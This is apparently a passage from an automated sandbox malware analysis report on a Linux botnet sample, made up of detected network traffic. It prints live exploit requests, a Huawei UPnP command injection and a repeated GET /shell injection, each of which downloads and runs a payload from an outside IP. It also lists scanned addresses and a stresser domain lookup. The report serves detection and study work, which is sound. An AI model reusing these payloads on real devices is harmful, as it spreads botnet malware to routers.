73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: /tmp/spc.elf (PID: 6220)

Socket: 127.0.0.1:46157

Jump to behavior

Source: unknown

DNS traffic detected: query: scamanje.stresserit.pro replaycode: Name error (3)

Source: unknown	TCP traffic detected without corresponding DNS query: 78.106.155.116
Source: unknown	TCP traffic detected without corresponding DNS query: 14.77.40.180
Source: unknown	TCP traffic detected without corresponding DNS query: 85.55.128.116
Source: unknown	TCP traffic detected without corresponding DNS query: 19.194.182.114
Source: unknown	TCP traffic detected without corresponding DNS query: 136.163.161.166
Source: unknown	TCP traffic detected without corresponding DNS query: 43.116.213.117
Source: unknown	TCP traffic detected without corresponding DNS query: 115.251.138.255
Source: unknown	TCP traffic detected without corresponding DNS query: 86.98.166.227
Source: unknown	TCP traffic detected without corresponding DNS query: 80.218.36.21
Source: unknown	TCP traffic detected without corresponding DNS query: 186.36.16.153
Source: unknown	TCP traffic detected without corresponding DNS query: 62.26.155.116
Source: unknown	TCP traffic detected without corresponding DNS query: 85.71.128.116
Source: unknown	TCP traffic detected without corresponding DNS query: 219.8.229.7
Source: unknown	TCP traffic detected without corresponding DNS query: 64.230.57.252
Source: unknown	TCP traffic detected without corresponding DNS query: 146.224.75.232
Source: unknown	TCP traffic detected without corresponding DNS query: 70.157.117.190
Source: unknown	TCP traffic detected without corresponding DNS query: 99.220.28.87
Source: unknown	TCP traffic detected without corresponding DNS query: 189.85.67.233
Source: unknown	TCP traffic detected without corresponding DNS query: 137.131.15.67
Source: unknown	TCP traffic detected without corresponding DNS query: 71.51.255.243
Source: unknown	TCP traffic detected without corresponding DNS query: 13.9.24.54
Source: unknown	TCP traffic detected without corresponding DNS query: 120.1.48.228
Source: unknown	TCP traffic detected without corresponding DNS query: 53.141.70.168
Source: unknown	TCP traffic detected without corresponding DNS query: 107.7.206.29
Source: unknown	TCP traffic detected without corresponding DNS query: 175.29.66.226
Source: unknown	TCP traffic detected without corresponding DNS query: 188.248.208.136
Source: unknown	TCP traffic detected without corresponding DNS query: 189.186.226.168
Source: unknown	TCP traffic detected without corresponding DNS query: 223.14.73.140
Source: unknown	TCP traffic detected without corresponding DNS query: 173.29.208.225
Source: unknown	TCP traffic detected without corresponding DNS query: 165.199.249.64
Source: unknown	TCP traffic detected without corresponding DNS query: 134.228.25.219
Source: unknown	TCP traffic detected without corresponding DNS query: 44.220.246.255
Source: unknown	TCP traffic detected without corresponding DNS query: 12.195.145.91
Source: unknown	TCP traffic detected without corresponding DNS query: 116.66.62.89
Source: unknown	TCP traffic detected without corresponding DNS query: 91.101.46.36
Source: unknown	TCP traffic detected without corresponding DNS query: 213.53.91.127
Source: unknown	TCP traffic detected without corresponding DNS query: 27.253.151.75
Source: unknown	TCP traffic detected without corresponding DNS query: 25.227.229.232
Source: unknown	TCP traffic detected without corresponding DNS query: 160.43.173.212
Source: unknown	TCP traffic detected without corresponding DNS query: 39.88.8.230
Source: unknown	TCP traffic detected without corresponding DNS query: 207.189.99.50
Source: unknown	TCP traffic detected without corresponding DNS query: 19.115.216.35
Source: unknown	TCP traffic detected without corresponding DNS query: 74.200.21.240
Source: unknown	TCP traffic detected without corresponding DNS query: 65.26.117.90
Source: unknown	TCP traffic detected without corresponding DNS query: 14.15.255.58
Source: unknown	TCP traffic detected without corresponding DNS query: 2.254.234.19
Source: unknown	TCP traffic detected without corresponding DNS query: 213.166.199.51
Source: unknown	TCP traffic detected without corresponding DNS query: 91.50.134.108
Source: unknown	TCP traffic detected without corresponding DNS query: 152.183.28.129
Source: unknown	TCP traffic detected without corresponding DNS query: 178.187.197.167

Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
